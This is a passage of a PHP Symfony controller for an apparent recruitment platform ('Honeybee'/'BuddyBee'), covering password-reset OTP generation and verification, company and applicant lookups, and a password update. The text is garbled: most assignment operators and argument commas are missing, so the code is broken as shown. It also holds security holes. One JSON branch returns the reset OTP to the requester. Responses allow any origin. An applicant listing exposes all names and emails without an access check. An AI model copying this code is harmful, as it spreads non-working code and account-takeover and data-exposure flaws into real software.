  9071.                     $forwardToMailAddress $email_address;
  9072. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  9073.                     $new_mail $this->get('mail_module');
  9074.                     $new_mail->sendMyMail(array(
  9075.                         'senderHash' => '_CUSTOM_',
  9076.                         //                        'senderHash'=>'_CUSTOM_',
  9077.                         'forwardToMailAddress' => $forwardToMailAddress,
  9078.                         'subject' => 'Applicant Registration on Honeybee',
  9079. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  9080.                         'attachments' => $attachments,
  9081.                         'toAddress' => $forwardToMailAddress,
  9082.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  9083.                         'userName' => 'accounts@ourhoneybee.eu',
  9084.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  9085.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  9086.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  9087.                         'emailBody' => $bodyHtml,
  9088.                         'mailTemplate' => $bodyTemplate,
  9089.                         'templateData' => $bodyData,
  9090. //                        'embedCompanyImage' => 1,
  9091. //                        'companyId' => $companyId,
  9092. //                        'companyImagePath' => $company_data->getImage()
  9093.                     ));
  9094.                 }
  9095.             }
  9096.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  9097.                 if ($systemType == '_BUDDYBEE_') {
  9098.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  9099.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  9100.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  9101.                      _APPEND_CODE_';
  9102.                     $msg str_replace($searchVal$replaceVal$msg);
  9103.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  9104.                     $sendType 'all';
  9105.                     $socketUserIds = [];
  9106.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  9107.                 } else {
  9108.                 }
  9109.             }
  9110.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9111.                 $response = new JsonResponse(array(
  9112.                         'templateData' => $twigData,
  9113.                         'message' => $message,
  9114. //                        "otp"=>'',
  9115.                         "otp" => $otp,
  9116.                         "otpExpireTs" => $otpExpireTs,
  9117.                         'actionData' => $email_twig_data,
  9118.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9119.                     )
  9120.                 );
  9121.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9122.                 return $response;
  9123.             } else if ($email_twig_data['success'] == true) {
  9124.                 $encData = array(
  9125.                     "userType" => $userType,
  9126.                     "otp" => '',
  9127. //                "otp"=>$otp,
  9128.                     "otpExpireTs" => $otpExpireTs,
  9129.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9130.                     "userCategory" => $userCategory,
  9131.                     "userId" => $userData['id'],
  9132.                     "systemType" => $systemType,
  9133.                     "email" => $email_address,
  9134.                 );
  9135.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9136.                 $url $this->generateUrl(
  9137.                     'verify_otp'
  9138.                 );
  9139.                 return $this->redirect($url "/" $encDataStr);
  9140. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  9141. ////                    'encData'
  9142. ////                'id' => $isApplicantExist->getApplicantId(),
  9143. ////                'oAuthData' => $oAuthData,
  9144. ////                'refRoute' => $refRoute,
  9145. //                ]);
  9146.             }
  9147.         }
  9148.         if ($systemType == '_ERP_') {
  9149.             if ($userCategory == '_APPLICANT_') {
  9150.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9151.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9152.                 $twigData = [
  9153.                     'page_title' => 'Find Account',
  9154.                     'encryptedData' => $encryptedData,
  9155.                     'message' => $message,
  9156.                     'systemType' => $systemType,
  9157.                     'ownServerId' => $ownServerId,
  9158.                     'userType' => $userType,
  9159.                     'errorField' => $errorField,
  9160.                 ];
  9161.             } else {
  9162.                 $userType UserConstants::USER_TYPE_GENERAL;
  9163.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9164.                 $twigData = [
  9165.                     'page_title' => 'Find Account',
  9166.                     'encryptedData' => $encryptedData,
  9167.                     'systemType' => $systemType,
  9168.                     'ownServerId' => $ownServerId,
  9169.                     'message' => $message,
  9170.                     'userType' => $userType,
  9171.                     'errorField' => $errorField,
  9172.                 ];
  9173.             }
  9174.         } else if ($systemType == '_CENTRAL_') {
  9175.             $userType UserConstants::USER_TYPE_APPLICANT;
  9176.             $twig_file '@HoneybeeWeb/pages/find_account.html.twig';
  9177.             $twigData = [
  9178.                 'page_title' => 'Find Account',
  9179.                 'encryptedData' => $encryptedData,
  9180.                 'systemType' => $systemType,
  9181.                 'ownServerId' => $ownServerId,
  9182.                 "otp" => '',
  9183. //                "otp"=>$otp,
  9184.                 "otpExpireTs" => $otpExpireTs,
  9185.                 'message' => $message,
  9186.                 'userType' => $userType,
  9187.                 'errorField' => $errorField,
  9188.             ];
  9189.         } else if ($systemType == '_BUDDYBEE_') {
  9190.             $userType UserConstants::USER_TYPE_APPLICANT;
  9191.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9192.             $twigData = [
  9193.                 'page_title' => 'Find Account',
  9194.                 'encryptedData' => $encryptedData,
  9195.                 "otp" => '',
  9196.                 'systemType' => $systemType,
  9197.                 'ownServerId' => $ownServerId,
  9198. //                "otp"=>$otp,
  9199.                 "otpExpireTs" => $otpExpireTs,
  9200.                 'message' => $message,
  9201.                 'userType' => $userType,
  9202.                 'errorField' => $errorField,
  9203.             ];
  9204.         }
  9205.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9206.             $response = new JsonResponse(array(
  9207.                     'templateData' => $twigData,
  9208.                     'message' => $message,
  9209.                     "otp" => '',
  9210. //                "otp"=>$otp,
  9211.                     "otpExpireTs" => $otpExpireTs,
  9212.                     'actionData' => $email_twig_data,
  9213.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9214.                 )
  9215.             );
  9216.             $response->headers->set('Access-Control-Allow-Origin''*');
  9217.             return $response;
  9218.         } else {
  9219.             return $this->render(
  9220.                 $twig_file,
  9221.                 $twigData
  9222.             );
  9223.         }
  9224.     }
  9225.     public function VerifyOtpAction(Request $request$encData ''$remoteVerify 0)
  9226.     {
  9227. //        $userCategory=$request->request->has('userCategory');
  9228.         $encryptedData = [];
  9229.         $errorField '';
  9230.         $message '';
  9231.         $userType '';
  9232.         $otpExpireSecond 180;
  9233.         $otpExpireTs 0;
  9234.         if ($encData != '')
  9235.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  9236. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  9237.         $otp = isset($encryptedData['otp']) ? $encryptedData['otp'] : 0;
  9238.         $email = isset($encryptedData['email']) ? $encryptedData['email'] : 0;
  9239.         $otpExpireTs = isset($encryptedData['otpExpireTs']) ? $encryptedData['otpExpireTs'] : 0;
  9240.         $otpActionId = isset($encryptedData['otpActionId']) ? $encryptedData['otpActionId'] : 0;
  9241.         $userId = isset($encryptedData['userId']) ? $encryptedData['userId'] : 0;
  9242.         $userCategory = isset($encryptedData['otp']) ? $encryptedData['userCategory'] : '_BUDDYBEE_USER_';
  9243.         $em $this->getDoctrine()->getManager('company_group');
  9244.         $em_goc $this->getDoctrine()->getManager('company_group');
  9245.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  9246.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9247.         $twigData = [];
  9248.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  9249.         $email_twig_data = [];
  9250.         $userData = [];
  9251.         if ($request->isMethod('POST') || $otp != '') {
  9252.             $otp $request->request->get('otp'$otp);
  9253.             $otpActionId $request->request->get('otpActionId'$otpActionId);
  9254.             $userId $request->request->get('userId'$userId);
  9255.             $userCategory $request->request->get('userCategory'$userCategory);
  9256.             $email_address $request->request->get('email'$email);
  9257.             if ($systemType == '_ERP_') {
  9258.                 if ($userCategory == '_APPLICANT_') {
  9259.                     $userType UserConstants::USER_TYPE_APPLICANT;
  9260.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9261.                         array(
  9262.                             'email' => $email_address
  9263.                         )
  9264.                     );
  9265.                     if ($userObj) {
  9266.                     } else {
  9267.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9268.                             array(
  9269.                                 'oAuthEmail' => $email_address
  9270.                             )
  9271.                         );
  9272.                         if ($userObj) {
  9273.                         } else {
  9274.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9275.                                 array(
  9276.                                     'userName' => $email_address
  9277.                                 )
  9278.                             );
  9279.                         }
  9280.                     }
  9281.                     if ($userObj) {
  9282.                         $email_address $userObj->getEmail();
  9283.                         if ($email_address == null || $email_address == '')
  9284.                             $email_address $userObj->getOAuthEmail();
  9285.                     }
  9286. //                    triggerResetPassword:
  9287. //                    type: integer
  9288. //                          nullable: true
  9289.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  9290.                     $userObj->setOtp($otpData['otp']);
  9291.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  9292.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  9293.                     $em_goc->flush();
  9294.                     $userData = array(
  9295.                         'id' => $userObj->getApplicantId(),
  9296.                         'email' => $email_address,
  9297.                         'appId' => 0,
  9298. //                        'appId'=>$userObj->getUserAppId(),
  9299.                     );
  9300.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9301.                     $email_twig_data = [
  9302.                         'page_title' => 'Find Account',
  9303.                         'encryptedData' => $encryptedData,
  9304.                         'message' => $message,
  9305.                         'userType' => $userType,
  9306.                         'errorField' => $errorField,
  9307.                         'otp' => $otpData['otp'],
  9308.                         'otpExpireSecond' => $otpExpireSecond,
  9309.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9310.                         'otpExpireTs' => $otpData['expireTs'],
  9311.                         'systemType' => $systemType,
  9312.                         'userData' => $userData
  9313.                     ];
  9314.                     if ($userObj)
  9315.                         $email_twig_data['success'] = true;
  9316.                 } else {
  9317.                     $userType UserConstants::USER_TYPE_GENERAL;
  9318.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9319.                     $email_twig_data = [
  9320.                         'page_title' => 'Find Account',
  9321.                         'encryptedData' => $encryptedData,
  9322.                         'message' => $message,
  9323.                         'userType' => $userType,
  9324.                         'errorField' => $errorField,
  9325.                     ];
  9326.                 }
  9327.             } else if ($systemType == '_BUDDYBEE_') {
  9328.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9329.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9330.                     array(
  9331.                         'applicantId' => $userId
  9332.                     )
  9333.                 );
  9334.                 if ($userObj) {
  9335.                     $userOtp $userObj->getOtp();
  9336.                     $userOtpActionId $userObj->getOtpActionId();
  9337.                     $userOtpExpireTs $userObj->getOtpExpireTs();
  9338.                     $otpExpireTs $userObj->getOtpExpireTs();
  9339.                     $currentTime = new \DateTime();
  9340.                     $currentTimeTs $currentTime->format('U');
  9341.                     if ($userOtp != $otp) {
  9342.                         $message "Invalid OTP!";
  9343.                         $email_twig_data['success'] = false;
  9344.                     } else if ($userOtpActionId != $otpActionId) {
  9345.                         $message "Invalid OTP Action!";
  9346.                         $email_twig_data['success'] = false;
  9347.                     } else if ($currentTimeTs $userOtpExpireTs) {
  9348.                         $message "OTP Expired!";
  9349.                         $email_twig_data['success'] = false;
  9350.                     } else {
  9351.                         $userObj->setOtp(0);
  9352.                         $userObj->setOtpActionId(UserConstants::OTP_ACTION_NONE);
  9353.                         $userObj->setOtpExpireTs(0);
  9354.                         $userObj->setTriggerResetPassword(1);
  9355.                         $em_goc->flush();
  9356.                         $email_twig_data['success'] = true;
  9357.                         $message "";
  9358.                     }
  9359.                     $userData = array(
  9360.                         'id' => $userObj->getApplicantId(),
  9361.                         'email' => $email_address,
  9362.                         'appId' => 0,
  9363.                         'image' => $userObj->getImage(),
  9364.                         'firstName' => $userObj->getFirstname(),
  9365.                         'lastName' => $userObj->getLastname(),
  9366. //                        'appId'=>$userObj->getUserAppId(),
  9367.                     );
  9368.                     $email_twig_data['userData'] = $userData;
  9369.                 } else {
  9370.                     $message "Account not found!";
  9371.                     $email_twig_data['success'] = false;
  9372.                 }
  9373.             }
  9374.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9375.                 $response = new JsonResponse(array(
  9376.                         'templateData' => $twigData,
  9377.                         'message' => $message,
  9378.                         'actionData' => $email_twig_data,
  9379.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9380.                     )
  9381.                 );
  9382.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9383.                 return $response;
  9384.             } else if ($email_twig_data['success'] == true) {
  9385.                 $encData = array(
  9386.                     "userType" => $userType,
  9387.                     "otp" => '',
  9388.                     "otpExpireTs" => $otpExpireTs,
  9389.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9390.                     "userCategory" => $userCategory,
  9391.                     "userId" => $userData['id'],
  9392.                     "systemType" => $systemType,
  9393.                 );
  9394.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9395.                 $url $this->generateUrl(
  9396.                     'reset_password_new_password'
  9397.                 );
  9398.                 return $this->redirect($url "/" $encDataStr);
  9399. //                return $this->redirectToRoute("reset_password_new_password", [
  9400. ////                'id' => $isApplicantExist->getApplicantId(),
  9401. ////                'oAuthData' => $oAuthData,
  9402. ////                'refRoute' => $refRoute,
  9403. //                ]);
  9404.             }
  9405.         }
  9406.         if ($systemType == '_ERP_') {
  9407.             if ($userCategory == '_APPLICANT_') {
  9408.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9409.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9410.                 $twigData = [
  9411.                     'page_title' => 'Find Account',
  9412.                     'encryptedData' => $encryptedData,
  9413.                     'message' => $message,
  9414.                     'userType' => $userType,
  9415.                     'errorField' => $errorField,
  9416.                 ];
  9417.             } else {
  9418.                 $userType UserConstants::USER_TYPE_GENERAL;
  9419.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9420.                 $twigData = [
  9421.                     'page_title' => 'Find Account',
  9422.                     'encryptedData' => $encryptedData,
  9423.                     'message' => $message,
  9424.                     'userType' => $userType,
  9425.                     'errorField' => $errorField,
  9426.                 ];
  9427.             }
  9428.         } else if ($systemType == '_BUDDYBEE_') {
  9429.             $userType UserConstants::USER_TYPE_APPLICANT;
  9430.             $twig_file '@Authentication/pages/views/verify_otp_buddybee.html.twig';
  9431.             $twigData = [
  9432.                 'page_title' => 'Verify Otp',
  9433.                 'encryptedData' => $encryptedData,
  9434.                 'message' => $message,
  9435.                 'email' => $email,
  9436.                 "otp" => '',
  9437. //                "otp"=>$otp,
  9438.                 "otpExpireTs" => $otpExpireTs,
  9439.                 'userType' => $userType,
  9440.                 'userCategory' => $userCategory,
  9441.                 'errorField' => $errorField,
  9442.             ];
  9443.         }
  9444.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9445.             $response = new JsonResponse(array(
  9446.                     'templateData' => $twigData,
  9447.                     'message' => $message,
  9448.                     'actionData' => $email_twig_data,
  9449.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9450.                 )
  9451.             );
  9452.             $response->headers->set('Access-Control-Allow-Origin''*');
  9453.             return $response;
  9454.         } else {
  9455.             return $this->render(
  9456.                 $twig_file,
  9457.                 $twigData
  9458.             );
  9459.         }
  9460.     }
  9461. //    public function getCompanyByUser(Request $request){
  9462. //        $em = $this->getDoctrine()->getManager();
  9463. //        $em_goc = $this->getDoctrine()->getManager('company_group');
  9464. //        $session = $request->getSession();
  9465. //        $userId = $session->get(UserConstants::USER_ID);
  9466. //        $applicantDetails = $em->getRepository("ApplicationBundle\\Entity\\SysUser")->createQueryBuilder('U')
  9467. //            ->select('U.userAppIdList')
  9468. //            ->where('U.userId = :userId')
  9469. //            ->setParameter('userId', $userId)
  9470. //            ->getQuery()
  9471. //            ->getResult();
  9472. //
  9473. //        $compnayDetails = $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")->createQueryBuilder('C')
  9474. //            ->select('C.name','C.appId')
  9475. //            ->getQuery()
  9476. //            ->getResult();
  9477. //
  9478. //        return new JsonResponse(
  9479. //            [
  9480. //                'applicantCompnayId' => $applicantDetails,
  9481. //                'copanyData' => $compnayDetails
  9482. //            ]
  9483. //        );
  9484.     public function getCompanyByUser(Request $request)
  9485.     {
  9486.         $em_goc $this->getDoctrine()->getManager('company_group');
  9487.         $em_goc->getConnection()->connect();
  9488.         $session $request->getSession();
  9489.         $appIds $session->get(UserConstants::USER_APP_ID_LIST);
  9490.         $userAppIdList json_decode($appIdstrue);
  9491.         if (!is_array($userAppIdList)) {
  9492.             return new JsonResponse([]);
  9493.         }
  9494.         $companyData $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  9495.             ->createQueryBuilder('C')
  9496.             ->select('C.name, C.appId')
  9497.             ->where('C.appId IN (:appIds)')
  9498.             ->setParameter('appIds'$userAppIdList)
  9499.             ->getQuery()
  9500.             ->getResult();
  9501.         return new JsonResponse($companyData);
  9502.     }
  9503.     public function applicantList(Request $request)
  9504.     {
  9505.         $em_goc $this->getDoctrine()->getManager('company_group');
  9506.         $em_goc->getConnection()->connect();
  9507.         $applicantList $em_goc->getRepository("CompanyGroupBundle\\Entity\\EntityApplicantDetails")
  9508.             ->createQueryBuilder('C')
  9509.             ->select('C.applicantId, C.firstname, C.lastname,C.email')
  9510.             ->getQuery()
  9511.             ->getResult();
  9512.         return new JsonResponse($applicantList);
  9513.     }
  9514.     public function getUserType()
  9515.     {
  9516.         $userType HumanResourceConstant::$userTypeForApp;
  9517.         return new JsonResponse($userType);
  9518.     }
  9519.     private function appendCentralCustomerAccessList(array $accessListint $applicantId): array
  9520.     {
  9521.         if ($applicantId <= || !$this->container->has('app.organization_identity_service')) {
  9522.             return $accessList;
  9523.         }
  9524.         try {
  9525.             $customerAccessList $this->get('app.organization_identity_service')
  9526.                 ->buildCustomerAccessListForApplicant($applicantId$this->get('url_encryptor'));
  9527.         } catch (\Throwable $e) {
  9528.             return $accessList;
  9529.         }
  9530.         if (empty($customerAccessList)) {
  9531.             return $accessList;
  9532.         }
  9533.         $detailedClientApps = [];
  9534.         foreach ($customerAccessList as $item) {
  9535.             if (isset($item['appId'])) {
  9536.                 $detailedClientApps[(int)$item['appId']] = true;
  9537.             }
  9538.         }
  9539.         $filtered = [];
  9540.         foreach ($accessList as $item) {
  9541.             $isGenericClient = (int)($item['userType'] ?? 0) === UserConstants::USER_TYPE_CLIENT
  9542.                 && empty($item['erpClientId'])
  9543.                 && isset($detailedClientApps[(int)($item['appId'] ?? 0)]);
  9544.             if (!$isGenericClient) {
  9545.                 $filtered[] = $item;
  9546.             }
  9547.         }
  9548.         return array_merge($filtered$customerAccessList);
  9549.     }
  9550.     public function updatepasswordAction(Request $request)
  9551.     {
  9552.         $em_goc $this->getDoctrine()->getManager('company_group');
  9553.         $session $request->getSession();
  9554.         $userId $session->get(UserConstants::USER_ID);
  9555.         if ($request->isMethod('POST')) {
  9556.             $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->find($userId);
  9557.             $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($request->request->get('password'), $user->getSalt());
  9558.             $user->setPassword($encodedPassword);
  9559.             $em_goc->persist($user);
  9560.             $em_goc->flush();
  9561.             return new JsonResponse(['status' => 'success''message' => 'Password updated successfully.']);
  9562.         }
  9563.     }
  9564. }